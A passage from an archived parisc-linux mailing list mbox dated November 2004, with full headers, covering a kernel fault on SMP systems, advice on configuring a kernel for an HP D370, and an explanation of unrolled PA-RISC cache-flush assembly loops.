> >  [<000000001011c0c8>] do_cpu_irq_mask+0xe0/0x150
> >  [<0000000010107074>] intr_return+0x0/0x24
> 
> FYI, the same stack trace/fault just occurred on gsyprf11 (a500-65).
> 
Yes should occure on smp systems (mmm curious to see if the pb occures al=
so
on a up system runing a smp kernel?)

Thanks for feedback,
     Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel config file for HP D-series
Date: Fri, 26 Nov 2004 16:15:07 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <41A7487B.5080809@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623602 11798 80.91.229.3 (22 Nov 2014 02:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:22 +0000 (UTC)
To: maillist parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25466 invoked by uid 65534); 26 Nov 2004 15:16:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 26 Nov 2004 16:16:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98C3A3BE45; Fri, 26 Nov 2004 08:15:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09771-07; Fri, 26 Nov 2004 08:15:49 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE79A3BE26; Fri, 26 Nov 2004 08:15:22 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CB543BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 08:15:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09759-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 08:15:12 -0700 (MST)
Original-Received: from lmfilto03.st1.spray.net (lmfilto03.st1.spray.net
	[212.78.202.217])
	by free.linux.hp.com (Postfix) with ESMTP id A8C773BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 08:15:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto03.st1.spray.net (Postfix) with ESMTP id 44F1A194170
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 15:15:09 +0000 (GMT)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto03.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 12491-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 15:15:08 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id D8A9E124D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 15:15:07 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22134

Hello,

Since some time have a D370-2 running Debian Linux. Currently the box is only 
used as stove (it's getting cold outside) and I like to give it some usage like 
testing new kenels and such.

Does anyone have a kernel config file for a HP D-series machine which I can use 
as a start point for my kernel configs? Preferably a D370 with 2 CPUs. Or can 
anyone guide which of the basic configs can be used for a start point? (I guess 
the B180 but that does not work out of the box).

Thanks in advance,


CBee

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: flush_kernel_[di]cache_page question? [WAS: [parisc-linux]
	2.6.10-rc1-pa11 profile data
Date: Fri, 26 Nov 2004 09:13:32 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20041126171332.GI9148@tausq.org>
References: <20041111081154.GR15714@tausq.org>
	<418A81170000898E@mail-8-bnl.mail.tiscali.sys>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623602 11800 80.91.229.3 (22 Nov 2014 02:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8403 invoked by uid 65534); 26 Nov 2004 17:14:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 26 Nov 2004 18:14:37 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 463443BE26; Fri, 26 Nov 2004 10:14:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11280-01; Fri, 26 Nov 2004 10:14:01 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C90B93BE2E; Fri, 26 Nov 2004 10:13:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5D183BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 10:13:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10023-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 10:13:45 -0700 (MST)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 881ED3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 10:13:45 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C3AE8CD7DC; Fri, 26 Nov 2004 09:13:32 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <418A81170000898E@mail-8-bnl.mail.tiscali.sys>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22135

> I try google on the p-l m-l but I didn't reach to find out why those chain
> of 15 f[di]c,m?

16, actually (including the one in the delay slot of the cmpib).

,m is post increment, so we are just doing an unrolled loop of

fdc offset(address)
offset = offset + cache_stride

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: flush_kernel_[di]cache_page question? [WAS: [parisc-linux]
	2.6.10-rc1-pa11 profile data
Date: Fri, 26 Nov 2004 17:59:18 +0100
Lines: 126
Approved: news@gmane.org
Message-ID: <418A81170000898E@mail-8-bnl.mail.tiscali.sys>
References: <20041111081154.GR15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623603 11804 80.91.229.3 (22 Nov 2014 02:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27987 invoked by uid 65534); 26 Nov 2004 17:00:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 26 Nov 2004 18:00:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EFEA43BC80; Fri, 26 Nov 2004 09:59:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10023-06; Fri, 26 Nov 2004 09:59:50 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 582E63BE26; Fri, 26 Nov 2004 09:59:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 034963BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 09:59:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10023-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 09:59:25 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id 27FB63BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 09:59:25 -0700 (MST)
Original-Received: from mail-8-bnl.tiscali.it (10.39.115.138) by mrq-1.tiscalinet.it
	(7.0.028) id 419A124600138FB8; Fri, 26 Nov 2004 17:59:19 +0100
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Fri, 26 Nov 2004 17:59:18 +0100
In-Reply-To: <20041111081154.GR15714@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22136

Hello all,

> 
> hmm.. interesting. top consumers are (with idle loop functions removed)=

> 
>  40646 flush_kernel_icache_page                 406.4600
[...]
>   4089 flush_kernel_dcache_page                  40.8900
[...]
> we really need to do better at cache flushing..... anybody have any
> ideas? :)
> 
Is somebody can help me to understand those:
[...]
flush_kernel_dcache_page:
	.proc
	.callinfo NO_CALLS
	.entry

	ldil    L%dcache_stride,%r1
	ldw     R%dcache_stride(%r1),%r23

#ifdef __LP64__
	depdi,z 1,63-PAGE_SHIFT,1,%r25
#else
	depwi,z 1,31-PAGE_SHIFT,1,%r25
#endif
	add     %r26,%r25,%r25
	sub     %r25,%r23,%r25


1:      fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	fdc,m   %r23(%r26)
	CMPB<<  %r26,%r25,1b
	fdc,m   %r23(%r26)

	sync
	bv      %r0(%r2)
	nop
	.exit

	.procend
	
	.export flush_user_dcache_page

[...]
flush_kernel_icache_page:
	.proc
	.callinfo NO_CALLS
	.entry

	ldil    L%icache_stride,%r1
	ldw     R%icache_stride(%r1),%r23

#ifdef __LP64__
	depdi,z 1,63-PAGE_SHIFT,1,%r25
#else
	depwi,z 1,31-PAGE_SHIFT,1,%r25
#endif
	add     %r26,%r25,%r25
	sub     %r25,%r23,%r25


1:      fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	fic,m   %r23(%r26)
	CMPB<<  %r26,%r25,1b
	fic,m   %r23(%r26)

	sync
	bv      %r0(%r2)
	nop
	.exit

	.procend
[...]

I try google on the p-l m-l but I didn't reach to find out why those chai=
n
of 15 f[di]c,m?

Thanks in advance for your attention,
    Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel config file for HP D-series
Date: Fri, 26 Nov 2004 18:53:05 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20041126185305.GH29035@parcelfarce.linux.theplanet.co.uk>
References: <41A7487B.5080809@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623603 11808 80.91.229.3 (22 Nov 2014 02:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:23 +0000 (UTC)
Cc: maillist parisc-linux <parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?Corn=E9?= Beerse <cbeerse@lycos.nl>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32642 invoked by uid 65534); 26 Nov 2004 18:53:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 26 Nov 2004 19:53:33 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F13F33BDDA; Fri, 26 Nov 2004 11:53:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11970-04; Fri, 26 Nov 2004 11:53:24 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F20B83BE26; Fri, 26 Nov 2004 11:53:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36D693BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 11:53:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11970-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 11:53:09 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id C324B3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 11:53:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CXlDN-0007Jv-9T; Fri, 26 Nov 2004 18:53:05 +0000
Content-Disposition: inline
In-Reply-To: <41A7487B.5080809@lycos.nl>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22137

On Fri, Nov 26, 2004 at 04:15:07PM +0100, Corn Beerse wrote:
> Does anyone have a kernel config file for a HP D-series machine which I can 
> use as a start point for my kernel configs? Preferably a D370 with 2 CPUs. 
> Or can anyone guide which of the basic configs can be used for a start 
> point? (I guess the B180 but that does not work out of the box).

You can start with just 'make defconfig'.  That should produce a working
kernel.  Options worth tweaking (with menuconfig, or vi, or whatever)
would be:

 - SMP on 
 - PA7000 -> PA8000
 - PCI_LBA off

If you have no HSC-PCI cards, you might want to turn PCI off too.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: flush_kernel_[di]cache_page question? [WAS: [parisc-linux]
	2.6.10-rc1-pa11 profile data
Date: Fri, 26 Nov 2004 12:02:45 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20041126190245.GA4071@colo.lackof.org>
References: <20041111081154.GR15714@tausq.org>
	<418A81170000898E@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623603 11811 80.91.229.3 (22 Nov 2014 02:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 575 invoked by uid 65534); 26 Nov 2004 19:03:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 26 Nov 2004 20:03:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BC1FC3BE33; Fri, 26 Nov 2004 12:03:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12208-07; Fri, 26 Nov 2004 12:03:01 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98E3E3BE43; Fri, 26 Nov 2004 12:02:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC2AA3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 12:02:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11970-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 12:02:47 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 603BA3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 12:02:47 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2F7E1298052; Fri, 26 Nov 2004 12:02:46 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03916-07; Fri, 26 Nov 2004 12:02:45 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A05CC29804C; Fri, 26 Nov 2004 12:02:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418A81170000898E@mail-8-bnl.mail.tiscali.sys>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22138

On Fri, Nov 26, 2004 at 05:59:18PM +0100, Joel Soete wrote:
> >  40646 flush_kernel_icache_page                 406.4600
> [...]
> >   4089 flush_kernel_dcache_page                  40.8900
> [...]
> > we really need to do better at cache flushing..... anybody have any
> > ideas? :)
> >
> Is somebody can help me to understand those:
> [...]
> flush_kernel_dcache_page:

Joel,
the problem is not in the flush_kernel_dcache_page() routine.
The problem is we are calling too often.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
